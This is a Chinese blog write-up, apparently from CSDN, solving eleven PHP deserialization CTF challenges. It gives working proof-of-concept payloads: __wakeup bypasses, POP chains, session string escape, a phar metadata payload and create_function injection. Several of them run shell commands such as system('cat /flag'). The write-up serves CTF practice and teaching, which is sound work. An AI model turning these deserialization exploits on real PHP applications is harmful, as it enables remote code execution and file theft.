PHP反序列化刷题

1.攻防世界 unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

poc

<?php
class xctf{
public $flag = '111';

}
$a=serialize(new xctf());
$b=base64_encode($a);
echo $a;

?>

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

让输出报错:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

2.攻防世界Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

 poc

<?php
class Demo { 
    private $file = 'fl4g.php';

}
$a=serialize(new Demo());
$b=base64_encode($a);
echo $b;

?>
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9

 

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

3.[SWPUCTF 2021 新生赛]ez_unserialize

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

poc

<?php
class wllm{

    public $admin='admin';
    public $passwd='ctf';
}
$a=serialize(new wllm());
$b=base64_encode($a);
echo $a;

?>

4[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

poc

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt='system';
    public $lly='cat /flag';
}
$a=new lyh();
echo serialize($a);
?>

五。[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

poc

<?php
class X
{
    public $x = 'fllllllag.php'; 
}
$a=new X();
echo serialize($a);
?>

_wakeup()绕过

 六。[UUCTF 2022 新生赛]ez_unser debug002

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

限制了test:3所以无法绕过wakeup()

发现

 $this->b=$this->c;

那么就可以把命令写在c,然后代码会赋值给b,这是我们设置a恒等于b就能讲命令传入a

<?php
class test{
    public $a;
    public $b;
    public $c='system("ls /");';
	
}
$test=new test();
$test ->a =&$test ->b;
echo serialize($test);

?>

<?php
class test{
    public $a;
    public $b;
    public $c='system("cat /fffffffffflagafag");';
	
}
$test=new test();
$test ->a =&$test ->b;
echo serialize($test);

?>

七.[HNCTF 2022 WEEK2]easy_unser

<?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    

    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>

根据代码,需要通过body的function __destruct中的highlight_file($this->want);去读取文件fl4g.php。倒推,首先让want=fl4g.php,但是want不能为fl4g.php并且不能为文件,这里就可以用上伪装协议去读取文件。todenothing不能等于want(这个好办)。want不能等于I can CHANGE you,上面——wakeup有赋值,要用到wakeup绕过。

这里 construct和类:unserializeorder都没不会用到就不管了

  poc

<?php
    class body{

    private $want='php://filter/resource=f14g.php';
	private $todonothing ='benben';
	}
$a =new body();
echo urlencode(serialize($a));
?>

//O%3A4%3A%22body%22%3A2%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A6%3A%22benben%22%3B%7D

然后手动把元素个数改一下

?ywant=O%3A4%3A"body"%3A3%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3Bs%3A17%3A"%00body%00todonothing"%3Bs%3A6%3A"benben"%3B}

八。[安洵杯 2019]easy_serialize_php Blu3Boy

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

 首先通过f=phpinfo获取flag的文件

 目标:通过file_get_contents显示d0g3_f1ag.php

倒推:$userinfo['img']=base64_encode('d0g3_f1ag.php')

$_SESSION['img']=base64_encode('d0g3_f1ag.php')      (变量不可控)

$_SESSION['img']==base64_encode('guest_img.png')或sha1(base64_encode($_GET['img_path']))

$_SESSION['user']和$_SESSION['function']可通并进行了序列化和反序列化。(字符逃逸)

 先看一下序列化构造

<?php

$_SESSION["user"] = 'X';
$_SESSION['function'] = 'Y ';
$_SESSION['img']="patch";
echo serialize($_SESSION);
?>

a:3:{s:4:"user";s:1:"X";s:8:"function";s:2:"Y ";s:3:"img";s:5:"patch";}

明显要元素个数一直为3,改变img的值,需要把原本的img那段吐出来。

这时候分析,如果构造逃逸,原本function要被user吃掉,原本img要被吐出来。那么为了维持元素个数为三,就要再添加两个元素。也就是出来添加新的img还要再添加一个。(有点绕,看代码吧)

<?php
//d0g3_f1ag.php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
   $filter = '/'.implode('|',$filter_arr).'/i';
   return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'fl1gfl1gfl1gfl1gfl1gfl1g';
$_SESSION['function'] = 'Y";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:5:"patch";}';
$_SESSION['img']="img_patch";


$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
var_dump(unserialize($serialize_info));

?>



a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"Y";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:5:"patch";}";s:3:"img";s:9:"img_patch";}array(3) {
  ["user"]=>
  string(24) "";s:8:"function";s:62:"Y"
  ["img"]=>
  string(20) "L2QwZzNfZmxsbGxsbGFn"
  ["a"]=>
  string(5) "patch"
}

九.[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

 pop思路

eval
NISA _invoke  
Ilovetxw _toString
 four_set        
Ilovetxw _call    
TianXiWei_wakeup  

chekchek绕过SYSTEM

<?php
class NISA{
    public $fun;
    public $txw4ever='SYSTEM("tac /f*");';
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun;
}
$ser=new TianXiWei();
$ser->ext=new Ilovetxw();
$ser->ext->huang=new four();
$ser->ext->huang->a=new Ilovetxw();
$ser->ext->huang->a->su=new NISA();
echo serialize($ser);
echo urlencode(serialize($ser));

十[SWPUCTF 2021 新生赛]babyunser  

头要炸了。pop思路跟上题差不多但是里面加了可控参数。

这只分析class.php

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

利用的xx_call

执行命令

pop思路

xx_call        $name=system  $arg[0]=cat /flag
ff_get         func=system   $cmd=cat /flag
zz_write    
zz_tostring     method=write var=content
aa_destruct

跟上题一样写poc但是ff_content是私有变量,这只能用_construct()了

<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func='system';
		    function __construct(){
        $this->content=new xx();
		}
}
class zz{
    public $filename;
    public $content;

}
class xx{
    public $name;
    public $arg;
}

$a =new aa();
$a->name=new zz();
$a->name->filename=new ff();

echo serialize($a);
$phar = new Phar("aiwin1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

 playload

file=phar://upload/251261f15dceb80168305393c3780df5.txt&method=write&var=content&cmd=cat /flag

十一。bugku-unserialize-Noteasy

要通过参数构造一个内部方法。越来越离谱了。

<?php

if (isset($_GET['p'])) {
    $p = unserialize($_GET['p']);
}
show_source("index.php");

class Noteasy
{
    private $a;
    private $b;

    public function __construct($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
        $this->check($a.$b);
        eval($a.$b);
    }


    public function __destruct()
    {
        $a = (string)$this->a;
        $b = (string)$this->b;
        $this->check($a.$b);
        $a("", $b);
    }


    private function check($str)
    {
        if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
    }


    public function setAB($a, $b)
    {
        $this->a = $a;
        $this->b = $b;
    }
}

没有new 所以construct直接不看,

destruct

        $a("", $b);
当
$a = "create_function";
$b = ";};要执行的命令/*;";

则 `$a("", $b);` 相当于
create_function("", ";};要执行的命令;/*");

// 相当于创建了一个这样的函数
function ()
{

}
要执行的命令;
/*;}
顺带一提,如果$b在前面($a($b, "");)同样可以利用此方法

$a = "create_function";
$b = "){}要执行的命令;/*";

即create_function("){}要执行的命令;/*", "");

 

<?php

class Noteasy
{
    private $a="create_function";
    private $b= ';};system("nl *");/*';

}
$a = new Noteasy();
echo serialize($a);
echo urlencode(serialize($a));

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值